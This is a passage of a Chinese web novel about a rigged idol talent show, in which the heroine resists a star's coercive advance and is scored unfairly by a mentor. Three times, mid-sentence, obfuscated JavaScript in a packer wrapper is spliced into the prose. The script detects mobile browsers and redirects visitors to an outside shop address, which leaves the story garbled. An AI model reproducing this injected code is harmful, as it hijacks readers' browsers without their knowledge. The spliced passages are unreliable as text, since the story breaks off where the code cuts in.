周落和蒋方奇经常在各种节目录制现场和酒局上见,关系熟络,周落在新生一代的偶像里年纪长资历深,所以大家都仰仗他主持大局。 周落呲牙笑道:“没问题,有哥在,包搞定。” 说话间台下的一道门吱哑打开,进来一个个头不高,中等身材,戴着帽子的中年男人,腋下夹着一叠资料。 周落和蒋方奇立刻打招呼:“陈导!” 陈华朝他们点头示意,步履匆匆地走到前排一个地方坐下。 林见微这才认出这就是群蕉荟萃比赛时的评委之一,也是当时力主她晋级的《星璨》副导,陈华。 于是她慌忙鞠躬打了个招呼,陈华朝她挥了挥手:“我没想到他们把你排在第一个,如果是我来排绝对不会如此。听说小季和小蒋都很喜欢你的表演。” 季清云和蒋方奇同时点头以示同意。 陈华:“时老师还有尤老师在赶过来的路上,我已经联系他们了,他们到的时候会根据回放打分。” 季清云表示担忧:“可是陈导,看现场表演和看录播回放的感受是不一样的,回放很可能会削弱她表演的震撼力……” 陈华:“小季,你说的我们也考虑了,但你要考虑一点,那就是等节目播出的时候,观众看到的也是录制好的视频,而不是现场观看。” “所以你二位依据现场表现打分,时老师和尤老师模拟普通观众,通过录像打分,这很合理。” 季清云还是继续说道:“可是,后面上场的选手们都要百分之一百地根据现场表现打分,而前面上场的却要一半依据现场,一半依据录像,这不公平……” 陈华:“小季,咱们比赛没有绝对的公平,比如说,咱们的选手有些是来自大公司,经过系统训练和包装,有些则来自小公司,有些,比如大劈叉,没有公司训练包装,大家起点不一样水平不一样,却在一个赛道比赛,怎么讲求绝对公平?” “而且,每个导师的个人喜好也不一样,可能我们这个节目请来的导师喜欢这个选手的表演,换到另一个平台,别的导师又喜欢另一个风格,其间不可控力太多了,没法做到绝对的公平。” 陈华是个比较理性客观的人,和人意见不同的时候会摆事实讲道理,刚刚说的确实有理,所以季清云低下头沉默不语。 周落:“季老师,陈导说的没错,人生也是这样,可能因为一个偶然契机就换了命运,本来可以稳稳收入囊中的却不翼而飞,本来要失之交臂的却又兜兜转转回到自己身边。” “俗话说千里马常有,而伯乐不常有,有多少千里马蛰伏多年却一直无门无路,今天大劈叉能得到您二位伯乐,已经是非常荣幸的了,我相信时老师和尤老师会认真看回放,给咱们的选手提出宝贵意见建议。” 说完周落看向林见微,但其实没等他目光过来,林见微就抢先道:“是的,今天能有机会站在这个舞台上,给所有收看《星璨》的观众表演,又能得到您二位如此高的评价,我已经很知足了。” “我愿意相信节目组,相信导师,相信观众。” 她这段话说得顾全大局,没在锱铢上计较自己得失,反而选择感谢并相信节目组和导师团队,众人暗赞她情商高,格局大,季清云和蒋方奇更是表示,以后如果有机会,一定会邀请她合作。 陈华也暗暗赞叹,别看大劈叉年纪不大,但做人还是蛮通透的。 陈华:“你也不用太过担心,咱们的赛制还是相对公平的,第一轮表演只是开始,后面还有自由battle和团队battle环节,还有很多翻盘的机会。” 蒋方奇生怕她不理解,详细介绍道:“没错,咱们一百五十位选手竞演完毕后,导师们会给一个初始评分,公布以后会进入第二轮的自由battle环节。” “自由battle顾名思义,就是你可以任选一个选手进行battle,比如第一轮你初始分数仅能进C班,如果你能PK掉一个B班评级的选手,他/她的位置就是你的了。” “抑或说,如果你已经是A班评级,为了求稳你可以选择pass。当然,如果你就是看谁不顺眼,也可以选择单挑,被挑中的选手不可以拒绝battle。” “自由battle只有一次机会,你可以选择使用或者不使用,如果跳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16688472|184190||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过就进入团队battle。” “团队battle是几个人自由成团,以团队的形式向另外一个团队发起挑战。你可以和同一个经纪公司的小伙伴组团,也可以和玩得好的选手们成团。” “当然,这个环节也可以跳过,如果两轮battle过后没有人挑战你,那你就自动进入初始评级的班级。” “这么说,你能明白吧?” 林见微连连点头,来之前她也了解了比赛规则,所以明白他的意思。 换言之,如果时穆飞和尤有芒没有给她高分的话,她还有机会通过两次battle逆风翻盘。 为了再给她一个定心丸,季清云和蒋方奇都一致给出了将近最高分,9分,满分10分。 林见微连连鞠躬致谢,其实她和季清云、蒋方奇心里都明白,她的表演还没到超越90%选手的程度,但节目组的势利眼和混乱管理让她因祸得福,获得了超高同情分加成。 这么一番折腾又过去不少时间,第二名选手是个大眼睛小姑娘,已经可怜巴巴在后台等待许久。 为了赶进度陈华请林见微下场。还说节目组为所有表演过的选手准备了观赛区,下台之后会有工作人员带她过去。 林见微点头表示明白,冲站在幕后的那个小姑娘比了个加油的手势,然后转头朝台下走去。 来的时候钱雯其实告诉她了,选手们是左边上场,右边下场,出去以后直接右转,候场区就在那里。 林见微准备凭着记忆一路摸去,但刚要走出后台的时候,后面传来一声熟悉的叫喊:“等一下!” 林见微回头,只见灯光昏暗的后台,光影明灭交接处,周落站在那里,幽深的眸子里暗潮涌动。 林见微诧异地看着他,只见周落又往前走了几步,高大的身形将头顶微弱的光挡了个严实,巨大的阴影投下,将林见微全身笼在其间。 古龙香水味霸道地侵袭而来,浓郁木质香混着清冽花果香,刺激着每一处感官神经。 周落距离太近了,以至于呼吸尽数喷在她鼻尖:“你的真名是韦盏对吗?” 林见微满心戒备地朝后退了两步,举头看着他,周落好像又长高了。 拍摄《月淡花浓》的时候他刚上大学,那时已经达到185,现在看他,得将近190了。 她点点头,但不明白他为什么这么问。 周落清浅一笑:“我看过你在《冬逝年华》的试戏。” 林见微这才知道,原来上周的试戏片段,他竟然看过了。 这时他又低声补了一句:“是在现场看的,你的表演非常有感染力。” 林见微不是很想纠结他怎么会去试戏现场,只是简短道:“谢谢,但我应该没机会出演这部戏了,祝你好运,我得去观赛区了。” 说完她直接转身想要拉开大门,但周落突然上前一步,手掌猛地抵在门上。 古龙香水味再次全面侵袭而来,挑战着周身感官神经,林见微愕然,只听周落在她耳边急促道: “我向文眉导演力荐了你,我说,你就是我们要找的人,是饰演女主的不二人选。” 浓郁刺激的木质香调将狭小空间的空气全部挤掉,林见微呼吸一滞,恍神间只听周落低沉续道: “我知道因为热搜的事文眉导演有所犹豫,但我已经告诉她了,如果你不演女主角,我就撤资不拍了。” 60.六十 瞳孔陡然放大,脑子后面嗡地一炸,林见微简直不敢相信自己的耳朵。 这未免也太儿戏了。 而且,他怎么就认定她是最佳人选呢? 这一切都太过荒诞,林见微很想问问清楚,但周落身子压得太近,人为制造的狭小空间里实在喘不过气。 “你为什么……”林见微没有问下去,但周落还是回答了她:“因为看好你,看好你身上的潜力,还有你这个人。” 林见微有些缺氧,所以说起话来有些不过脑子:“可是我希望凭借自己努力打动文导,如果是不正当得来的,我宁愿不要这个机会……” 周落打断她:“别傻,我刚入圈的时候也是这样青涩莽撞,但很快就被现实教会了做人,你信我,别因为所谓的底线和道德拒绝送上门的宝贵机会。” 说着他俯身,温热的气息混着浓烈的木质香颇有侵略性地压了下来。 林见微脑子里一片乱,她知道如果她顺从地做些什么,就可以轻而易举地得到许多演员拼搏多年都得不来的机会。 可她也知道,那无异于和魔鬼签订了灵魂出让协议。 林见微在内心里挣扎不已,想红吗,当然,那还用说,她想红的心比许多人都大得多,因为这一世她不能再输了。 可是,难道这意味着她要向周落一样,为了名利出卖灵魂道德吗? 她想起了拍《月淡花浓》的青葱岁月,那时他们是那么青涩懵懂,他们演出来的戏的底色是那么干净纯粹。 他们本来约定要一辈子这样下去。 但他负了她。 脑子里突然劈过一道闪电,心里有个很坚定的声音说:不,不能沉沦。 她心一横,知道不能再纠缠下去,于是索性将门把手向外一推。 周落本以为大门是向里拉开的,所以这么一来,用力抵在门上的手掌骤然泻力,整个人失去重心,向外跌去。 林见微反应奇快,身子一缩就逃脱了控制,在门敞开的瞬间一跃而出。 周落暗叫一声不好,但身子已经不受控制,狠狠向前栽去,和一个站在门外的人撞了个满怀。 随着“啊”的两声惊叫和一声闷响,周落将门口站着的那男人扑倒在地! 周落:“WFT??!!” 更奇怪的是,周落落地时感觉胸前硬邦邦的,什么冷冰冰有棱有角的东西硌得他生疼。 草,难道撞上的是个机器人?? 大骇之下他低头看去,只见一个惊到极致气到变形的脸正怒目瞪着他。 虽然愤怒使人面目全非,但周落还是认出了这张熟悉的脸。 他双手一撑,赶忙从地上爬起,下一瞬谷煜一个鲤鱼打挺站了起来,指着周落破口大骂: “艹艹艹,你TM的是不是疯了?为什么藏在这里偷占老子便宜??” 然后他打量着周落身上那明艳艳的印花外套,瞳孔骤然紧缩,好像突然明白了什么,大叫道: “哦!原来你是……你,你TM竟敢喜欢老子??谁他娘的给你的勇气??” 周落哭笑不得,眼前的一切简直不可思议,他还想问谷煜为什么要鬼鬼祟祟躲在后台门口呢,难不成刚刚说的话都被他听去了? 这时走廊里恰好有一个女孩路过,看到他的时候她尖锐惊呼:“周哥,你,你的脸……” 女孩的面目让他想起爱德华·蒙克的那副著名作品《呐喊》/《尖叫》,他意识到事情好像不简单。 手指触摸脸颊,竟是湿腻腻的触感。 这一惊可不小,周落也“啊”地叫了出来,手足慌乱地从裤兜里翻出手机,想打开锁屏的时候手指过于颤抖,手机差点掉地上。 其实看见黑色屏幕的时候他就意识到事情不对,打开前置摄像头,果然,那张俊俏的脸右侧竟然被划出一道伤口,还在往外渗血。 周落内心大叫一声:“艹!!!!” 在这个颜值即正义的年代,他一个靠美貌混饭吃的明星,竟然毁容了? 这无异于核爆一样的事故,如果他的脸不能复原,相当于事业全毁,人生全毁,一切都完蛋。 这时他想起,刚刚摔倒在地的时候,脸好像被谷煜怀里抱着的那个有棱有角的东西划到了。 低下头,发现谷煜正把那罪魁祸首像个宝贝疙瘩似的捂在怀里。 那东西黑漆漆的,长方形,棱角锐利。 急火攻心之下,周落再也顾及不了形象,仿若一个骂街泼妇地咆哮道:“你这拿的是什么玩意儿!” 谷煜却搂得更紧了,还后退了两小步,好像周落的目光里有什么不干净的东西,看一眼就会玷污自己那宝贝疙瘩:“你管得着吗!” 刚刚那女生左看看右看看,急道:“周哥,你快去处理一下伤口吧,不然可能会留疤的!” 周落瞬间焦急万分,知道她说的有理,现在确实不能继续纠缠下去,只能捂着半边脸,冲谷煜下战书一般叫嚣道:“谷煜,你给老子等着!” 谷煜非常夸张地轻蔑一笑,用全走廊都能听见的音量大喊:“呵,你才他妈给老子等着!你撞我这事还没完呢!” 周落内心翻腾着愤怒和恨意,胸腔急剧起伏着,但好汉不吃眼前亏,君子报仇十年不晚,眼下最重要的是把伤口赶紧处理了,不然真要把事业都毁了。 他一咬牙扭头往化妆间走,但还是一步三回头地问候了谷煜祖宗十八代,谷煜也不甘示弱,周落骂一句他回一句,两个人隔空舌吐金莲,大战数个回合。 直到周落消失在走廊尽头,谷煜还是骂骂咧咧不停休,林见微小声劝了一句,谷煜这才渐渐止住。 旁边那小姑娘是编导组的助理,见骂战止息,一溜烟地朝周落的地方跑去,很快也消失在视线中。 走廊里重新恢复平静,林见微小心端详着谷煜神色,见他眉目稍稍舒展后才问道:“你怎么会在这里?” 但话一出口她就想起来,谷煜之前确实说过他会来看《星璨》录制。 好像是因为他的偶像在这里? 林见微紧紧盯着谷煜怀里那玩意儿——这四四方方的东西看着颇为眼熟,好像……是一个应援灯牌? 林见微明白了什么,但还是问道:“所以你拿着的究竟是什么?” 谷煜下意识地低头迅速检查了一下怀里的灯牌,确认完好无损,才长舒一口气。 迎着林见微好奇而审视的目光,谷煜这才露出羞赧神色,将灯牌转了过来。 上面赫然是三个花体大字:芒星人。 林见微:“!!!” 这词她太熟了,她和尤有芒是好闺蜜,两个人一年365天,有360天都忙于奔波拍戏,所以二人戏称是“微忙星人”。 于是两人的粉丝便分别称呼自己是“微星人”和“芒星人”。 所以,谷煜竟然是芒星人!! 大脑中横空劈过一道闪电,林见微突然想起,之前群蕉荟萃结束后,时闻和她在休息室谈事情,而谷煜因为头天晚上喝了过多自己研发的劣质饮料蓝牛,倒在床上呼呼大睡不省人事。 正当她和时闻说到要紧关头时,谷煜突然大喊了一声:有忙病啊! 当时她还以为因为谷煜是在说梦话,所以前言不搭后语,但此时此刻她突然明白过来,他说的,是“有芒病了”! 而那一段时间,新闻热搜里确实出现了尤有芒因为连轴转而病倒在片场的消息。 尤有芒病倒不完全是因为工作强度陡然增大,因为林见微的原身一直躺在医院里昏迷不醒,尤有芒医院剧组两头跑,折腾来折腾去就累病了。 这时另外一个片段闪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16694112|184190||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 现出来,她突然想起,她作为大劈叉和谷煜第一次见面的时候,谷煜、时闻、尤有芒、高翔一起参加了个饭局,其间高翔对尤有芒出言不逊,谷煜勃然大怒。 当时如果不是时闻和周围人死命拦着,谷煜早就和高翔大打出手了。 一切都不可思议地串联起来,林见微如梦方醒地瞪大双眼,因为太过激动震惊而语无伦次:“你,你竟然是追的她的星??” 谷煜不好意思地低下头,看着灯牌再次露出羞赧笑容:“对,我很早以前就开始喜欢她了。” 林见微啧啧摇头,喃喃自语:“天啊,太不可思议了。” 这时她想起了什么,抬头看着谷煜:“那,那尤有芒知道你喜欢她妈?” 谷煜那因兴奋而点亮的瞳仁里瞬间划过一丝黯淡:“她不知道,而且,她很有可能也不会喜欢我。” 林见微:“为什么??” 谷煜的声音越来越低:“她是谁?天之骄子,导演、制片、观众捧在手掌心的演员,我是谁?富二代接班的反面典型,一无是处。她怎么可能看得上我?” 林见微严肃地摇头:“你怎么能这样妄自菲薄呢?很多事情只有试一试才知道。据我了解,尤有芒是个很谦和的人,对娱乐圈这个大染坊痛恨已久,如果有个圈外人苦心追她,只要心意诚恳,就会精诚所至,金石为开。” 谷煜意外地看着她:“你怎么说得这么笃定?你从哪里知道这些?莫非你也是芒星人??” 林见微笑道:“我之前看过她许多采访,觉得她是一个有思想有深度的人,而且虽然娱乐圈现在流行立人设,但一个人出现在公众面前次数多了,也会自然流露出最真实的一面。” “再说了,相由心生嘛,你看她的面相就知道,她是性情中人,一喜一悲皆发自本心,不会因为利益是非而随波逐流,也不是一个会欺骗愚弄他人的人。” 谷煜频频点头:“没错,我觉得她是圈内难得的干净、清醒的人,所以一直非常喜欢她。” 林见微:“那就勇敢去追求她啊!让自己变得强大,做她的保护伞,为她遮风挡雨,做她的港湾,让她有家可依,如果一味裹足不前,那她遇到危险的时候,谁来保护她?” 一席话令谷煜醍醐灌顶,他钦佩地看着林见微,内心辗转过许多强烈的念头。 这时林见微趁热打铁道:“我记得她在一篇采访中提到,她特别喜欢这附近的一家糕点铺,叫方记糕点,尤其喜欢里面的桂花糕。” “你把灯牌给我,现在赶紧出去买,哦对了,别只单独买桂花糕,那些绿豆糕啊红豆糕啊每样都来一点。” “到时候见到尤有芒,你就说你特别喜欢方记糕点,路过的时候顺手买了一些,作为粉丝的小心意送给她。” “如果尤有芒收了呢,这事就有门,因为她肯定会暗暗觉得你二人品味相似,是有缘人。” 谷煜一边听一边点头,最后钦佩得五体投地,感动得热泪盈眶。 还是女生更懂女生啊,谷煜心想,他只会莽撞地拿个灯牌冲上去,然后就尴尬住了,完全不知道要说什么做什么。 用小礼物打开偶像的心扉,这招妙啊! 谷煜由衷地竖起大拇指:“你可真是我的大救星,大恩人!不管这事能不能成,我都先谢过你了!!” 说着就要给林见微鞠躬,林见微噗嗤一笑拦住他,这时走廊尽头突然有个人探头,非常不悦地看着二人。 “大劈叉!你为什么还没去观战间?” 林见微猛地回头,只见破锣嗓叉着腰站在不远处,横眉冷眼地看着这边。 林见微吐了吐舌头,谷煜挥挥手示意她赶紧走,这时只听破锣嗓又喊道: “时穆飞和尤有芒已经过来了,都看过了回放,分数也出来了,你赶紧回观战间看结果!” 61.六十一 “分数出来了”这几个字简直比圣旨还好使,林见微二话没说,抢过芒星人灯牌后直接把谷煜撂下,一溜烟地往观战间跑去。 观战间比候场区小一点,有五排阶梯呈圆弧状排列,最后一排中间已经坐了二十多个人了。 见林见微进来,众人立刻指着前排一片空位置:“快坐前面!” 林见微狐疑地问:“你们为什么坐那么靠后?” 众人笑道:“我们没名气,都是炮灰,前排的位置是留给高光人士的,我们哪敢随便坐!” 林见微挠挠头,想来想去打算去倒数第二排中间找个位置,但准备迈步时余光瞥见阶梯前方的一小片空地上,角落里竖了一个小屏幕。 屏幕上好像是分数和排名。 林见微呼吸立刻急促起来,心脏砰砰直跳,手心里也不自觉渗出一层汗。 破锣嗓跟她说时穆飞和尤有芒已经看过回放,打了分数,林见微一步一步朝屏幕走去,每一步都走得有些艰难。 距离屏幕几步远的位置,林见微看见了自己的名字。 扬州大劈叉:6.75分,暂列第5名。 后面缀着打分详情:季清云:9分,蒋方奇:9分,时穆飞:2分,尤有芒:7分 林见微差点没背过气去。 时穆飞竟然打了2分??这是人能打出来的分数吗喂! 谁会只得2分啊?有没有脑子?? 她现在在前20位炮灰选手里暂列第5名,这太危险了,因为150名选手里面只有前100名才能通过第一轮考核,而后面还没比的130名选手里藏龙卧虎,人才辈出,而且很多都有后台,无论怎么拼林见微都很难胜过。 她本来还希望着只要能打赢其他的炮灰选手,她就有望晋级,可是现在…… 她越想越气,简直想立刻就把时穆飞揪过来当面质问,他为什么只给她打了两分。 再看他给其他选手打的分数,最低不过4分,大多数都在6分左右。 有一个女选手在其他导师普遍打5-6分的情况下,竟然从时穆飞那里得到9分,林见微顿时冷笑不已: 那个女选手其他能力都不行,唯独长得特别漂亮,而且和小麋鹿有些神似。 敢情时穆飞当这里是选妃呢,给分数全凭心情。 照这么想,合着她长得像恐龙呗,所以只得了2分。 林见微气得想把屏幕当场吃掉,但又无可奈何,只得气鼓鼓地走到第四排中央一屁股坐下,把芒星人灯牌暂时放在隔壁座位。 众人也看了分数排名,不由得安慰道:“没事,至少季清云和蒋方奇给了你目前的最高分。” 林见微苦笑不已,也没心情聊聊天交个朋友,这时正对着她的大屏幕里传来了一个熟悉的声音: “各位评委老师好,我是林波微步,大家可以叫我波波,我是香蕉平台选送的。” 林见微注意力一下子被吸引过去,只见林波微步一脸羞涩地站在舞台中央,活脱脱一个好调|戏好欺负的脸红小男生。 果然,蒋方奇笑眯眯地看着他:“波波你好,请问你今天带来的是什么曲目?” 林波微步:“其实和第一位表演的选手扬州大劈叉一样,也是《武娘》,但我用的是原版,没有她那么用心地改编。” 季清云和蒋方奇下意识地往旁边看去,只见时穆飞和尤有芒已经就坐,时穆飞穿着黑色衬衣,一脸严肃,双手交叉抱在胸前,听到林波微步的话紧皱眉头,很是不悦。 尤有芒今天一袭白色丝绸衬衣,头发烫成波浪卷,整个人显得知性优雅,光芒四射。 时穆飞没等被提到,直接说道:“波波,这我就要说你两句了,自己表演就行了,为什么要提别人,和别人相比?” “再说了,我看过第一位选手的表演,坦白讲无论是她的演出还是改编,都非常失败,希望你引以为戒,不要向她看齐,更不要用她来妄自菲薄。” 尤有芒插话说:“时老师,其实我觉得第一位选手的表现还行,没你说的那么糟糕。” 观战间里,林见微立刻默默举起芒星人灯牌灯牌。 时穆飞立刻反驳:“有芒老师,她哪里表现还行?首先,《武娘》讲的是什么故事?是将军出征,战士们血染山河的故事,但她站在舞台上,穿着白T牛仔就跳起来,哪里像那么回事?” “其次,她的表演总结下来就是四个字:投机取巧!你们不要被她花里胡哨的改编给骗了,那些改编恰好就是为了转移视线!” “咱们先说唱歌,自始至终,她有没有正常唱歌?没有!她只唱了戏和念了rap,没有正常的唱歌,所以我们根本无法评判她唱功如何!” “再说跳舞,有一说一,她跳舞还是可以的,这也是为什么我给了她两分的原因,不然我直接画个零蛋!” “最后咱们来说我的本职专业,星途预测,你们不要笑,我这个人是会相面的,所以节目组才请我来做星途导师对吧。我告诉你们,大劈叉不可能火,永远不可能火!” “至于为什么,天机不可泄露,我不能说太多了,总而言之,我不看好她,非常不看好,也奉劝各位导师打分的时候心里有点数。” 说着时穆飞从桌子底下掏出来一张纸,没有把它拿到台面上,只有评委能看到纸上写的是什么。 看到的那一刻,尤有芒、季清云、蒋方奇三人心中一凛。 纸上写的是内定晋级名单,三位导师人手一份。 所以时穆飞的意思很明显:要按说好的来,不然会捅出篓子来。 时穆飞在《星璨》的地位异常地高,不仅是因为他财大气粗,自带爆款流量,还因为他和《星璨》的总冠名商和投资人,高家,来往密切,关系匪浅。 时穆飞是金主的人,所以自然说话硬气,编导组没人敢跟他逆着来。 他想让谁淘汰,谁就必须立刻滚蛋。 现在他明摆着想让林见微淘汰,那导师们和节目组必须想办法,绝对不能让她的分数排进前一百。 否则就是和金主爸爸对着干。 没人敢冒这个险,整个编导组都如临大敌,季清云和蒋方奇一开始打出9分的高分着实出乎他们意料,尤有芒给的7分也比他们预料的要高。 根本原因在于,林见微的个人能力和性格魅力实在太超乎意料的强了。 所以现在他们必须尽可能地给后面的选手打高分。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16700958|184190||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 讨论进行了十几分钟,林波微步不无尴尬地站着台上,待着也不是,回去也不是,只得左看右看上看下看。 最后编导终于喊了一句“下一个开始表演”,林波微步才如蒙大赦,结束了尴尬到脚趾扣地的罚站。 也许是刚刚的经历太过影响心绪,林波微步表现平平,完全没发挥出他平时直播的水平。 中间甚至有些失误,比如有几个动作慢了半拍,有的地方甚至不太连贯。 再加上唱歌不是他强项,所以整体表现不尽如人意。 季清云和蒋方奇的表情越来越严肃,表演结束后毫不客气地指出了他的问题,季清云给了5分,蒋方奇给了6分。 尤有芒看林波微步长得可爱,又同情他刚刚不得不经历这些尴尬,给了7分。 时穆飞大手一挥给了5分。 林波微步最后得分:5.75分。 分数出来的时候,林见微既懊恼又失望,本以为自己的6.75分已经够低了,没想到波波比她还要倒霉。 所以当林波微步垂头丧气走进观赛区时,林见微第一个冲上去,给了他一个大大的拥抱。 林波微步本来很是沮丧,但这突如其来的惊喜拥抱一下子将他的落寞冲淡了不少,他感动地说:“谢谢你,大劈叉,有你真好。” 林见微鼓励道:“是我该谢谢你,愿意顶着那么大的压力为我说话,有你真好。” 也许是二人的拥抱太过拥有真情实感,抑或是因为台词过于感人,坐在阶梯最后一排的选手们立刻化身吃瓜群众,脖子抻得老长,眼睛睁得又大又圆。 “哎呀他们搂得真紧~”“你不知道吗,他们是大波CP!”“大波??哈哈哈这名字也太搞笑了叭”“是香蕉直播官宣的CP啊,平台上有不少关于他们的帖子!”“好磕吗??” 林见微和林波微步旁若无人地完成了鼓励拥抱,正当林见微想往回走时,林波微步突然拉住她。 林见微一愣,只听林波微步在她耳边低语:“劈叉,你想不想晋级?” 林见微下意识点头:“当然。” 林波微步微微一笑:“好,那我帮你。” 说着他竟直接拉住她的手,确认了一下摄像头的位置,然后在六台机器的注视下,昂首挺胸朝后排走去。 林波微步的手小小的,软软的,触感很是可爱,林见微全程懵逼,顶着其他人因嗅到八卦磕到了的兴奋尖叫,一步一步被林波微步拉着,走到第四排中央坐下。 中途林见微本想挣脱,但别看林波微步小小软萌一只,用起劲来力气是真大,林见微几次抽手,都被他牢牢攥住。 林见微:“??!!” 林波微步面对着镜头,笑得灿烂如花:“大家好,欢迎收看香蕉直播大波CP的营业现场。” 林见微心里叫苦不迭,但也瞬间明白了林波微步的意思—— 他俩可是香蕉直播的热门CP,如果在节目里炒一波热度,肯定能带来不少流量。 这样当节目组考虑晋级名额时,因为考虑到林见微的热度,天平肯定会稍稍倾斜过来。 想明白之后她在心里哀嚎一声:救命,是谁把我们的波波教坏了! 62.六十二 林见微机械地坐在林波微步身旁,耳朵里塞满了来自后排的尖叫。 “天啊,所以你们两个是真CP还是……”“你们两个真的是太好磕了!以后多营业啊”“话说你们真的很有夫妻相!!” 全程林见微都没有回头,只有林波微步忙着一一回应:“我俩的CP现在还有些掺水”“谢谢谢谢”“真的吗那我们以后多拍点同框照片” 见林见微木然地望着前方,林波微步捏了捏她的手心,凑过来在她耳边小声道:“配合一下,对晋级有好处。” 林见微苦笑不已,她认识林波微步有一段时间了,知道他不是占便宜的人,此时的做法出于一片好意。 但她想凭真本事晋级,不想凭靠门邪道获胜。 而且最重要的是,此时此刻她脑海里竟反反复复回放之前时闻说过的话: “为了事业的长期发展,不要炒cp,炒cp或许能给你带来短期的流量,但也会限制以后的发展。” “就算你要立cp人设,那就不要欺骗观众欺骗自己,立个真实的cp。” 虽然她也想过能不能走旁门邪道给自己加流量造热度,但每次动歪心思,时闻的话都像地心引力一样,固执有力地一次又一次把她拉回原点。 林见微心里天人交战,矛盾不已:如果此时她顺从地和林波微步炒CP,她一定可以收获一波流量,节目组看在这个份上,会考虑让她晋级。 可是那样就被娱乐圈的大染缸侵蚀了本心和道德。 但如果她坚守本心,拒绝林波微步的好意,那无异于在所有选手、评委、编导组、观众面前打了林波微步的脸。 那样的话,以后林波微步怎么混? 林见微内心纷乱不已,但理智和多年的经验还是让她快速做出了选择。 “我们是掺水的CP,一起合作演出的关系,”林见微转过头,微笑地解释道,“也是一起追星的关系。” 说着林见微把芒星人的灯牌一把塞进林波微步怀里,示意他抱起来。 林波微步只得顺从地将灯牌对着镜头举起摇晃,这一幕恰好被比赛现场的评委们捕捉到,蒋方奇兴奋地指着观赛间: “有芒老师,快看,我们的选手里有你的粉丝啊!” 尤有芒惊讶看去,只见镜头里一个羞涩的小男生高高举起比他身子宽几倍的灯牌,旁边一个女生微笑地看着他,后排的人都带着姨母笑。 画面显得温馨和谐,甚至冒着粉红泡泡。 尤有芒认出举着牌子的是刚刚惨遭滑铁卢的林波微步,旁边的是回放表演里第一个出场的大劈叉,眼睛立刻亮了起来。 她很喜欢这两位选手,没想到他们私下关系还挺好,而且竟然都是芒星人! 尤有芒的心一下子化了,声音也变得无比温柔:“哎呀,参加比赛还带着粉丝灯牌!” 林见微立刻表忠心抱大腿:“是因为想见偶像,我们才来参赛的!” 尤有芒受宠若惊,笑得十分灿烂,温柔鼓励道:“那下两轮的比赛要加油哦!” 季清云趁势道:“有芒老师,人家追星追到这个份儿上,您是不是考虑后面多帮帮他们?” 尤有芒笑道:“当然啦!没问题。我的人,我来照顾。” 尤有芒说这话是有风险的,毕竟节目组已经内定要淘汰林波微步和林见微了。 但照顾一下,多给点建议,也不违反节目组的决定。 季清云:“那可太好了,这两位选手都很年轻,舞台经验和人生经验不足,咱们有芒老师可得多关照一下啊!” 尤有芒微笑点头,但舞台上却传来一个带着几分冰冷的声音:“各位老师,我回来了,咱们抓紧时间让下一个选手参加考核吧。” 众人回头,只见周落出现在台上,不知为何看着有些冷然淡漠。 而且他的脸看着有点奇怪,好像特意擦了厚厚一层粉底和遮瑕。 镜头吃妆,所以拍出来倒没什么,但现场看过去,妆效明显重了。 而且他好像还补了眼线,打了点深色眼影,削弱了刚刚阳光亮丽的感觉,多了一层暗黑金属的叛逆感。 蒋方奇好奇问道:“周哥,怎么一会儿功夫,你就换造型了?” 周落冷冷盯着观赛间的画面,举着芒星人灯牌的男生女生坐得很近,正交头接耳小声说些什么,脸上都挂着愉悦的笑,看上去亲密无间。 “本想以本色和真心待人,无奈世人笑我太疯癫……” 蒋方奇听得一头雾水,但尤有芒很快反应过来:“这是你处女作《月淡花浓》的经典台词!” 季清云也明白过来:“没错,是学生时代叶疏对沈黎百般好,可是沈黎就是误会叶疏的好意,无奈之下叶疏说了这句话……周哥,看来你入戏很深啊,这么多年了,戏里的台词还能张口就来。” 蒋方奇:“那说明周哥记忆超群!都过了多少年了,台词还能记得一字不差,牛!” 时穆飞意味深长地说:“周老师这是又换上了他的保护色,看来刚刚受到了什么刺激。” 周落把话题拉回来:“节目压力太大,咱们还有好多流程要走,那各位评委老师,如果没有异议,咱们就让下一位选手开始表演。” 众人同意,于是表演继续。 排在21-50的选手属于有些潜力,但要么基本功不太扎实,要么舞台经验不丰富,要么长相上实在有短板。 每个人展示时间3分钟,评委点评打分2-3分钟,虽然每个人的时长已经压缩到最低,但表演还是进行了将近一个半小时。 观战间里,众人从一开始的紧张兴奋,到后来目光略显呆滞,那些来得久的甚至哈欠连连。 前50名选手表演完,林见微的名次掉到了第10,这意味着后面100名选手至少要淘汰40名,她才能晋级。 可是出场越靠后的选手实力越强,怎么可能有40%的淘汰率? 林见微苦恼不已,名次每下降一位她就哀叹一声,林波微步不停安慰她,但依然化解不了她的满面愁容。 随着演出继续进行,林见微也渐渐有些熬不住,上眼皮变得沉重,哈欠也不自觉地跑出来。 直到周落报幕的时候说出了一个熟悉的名字。 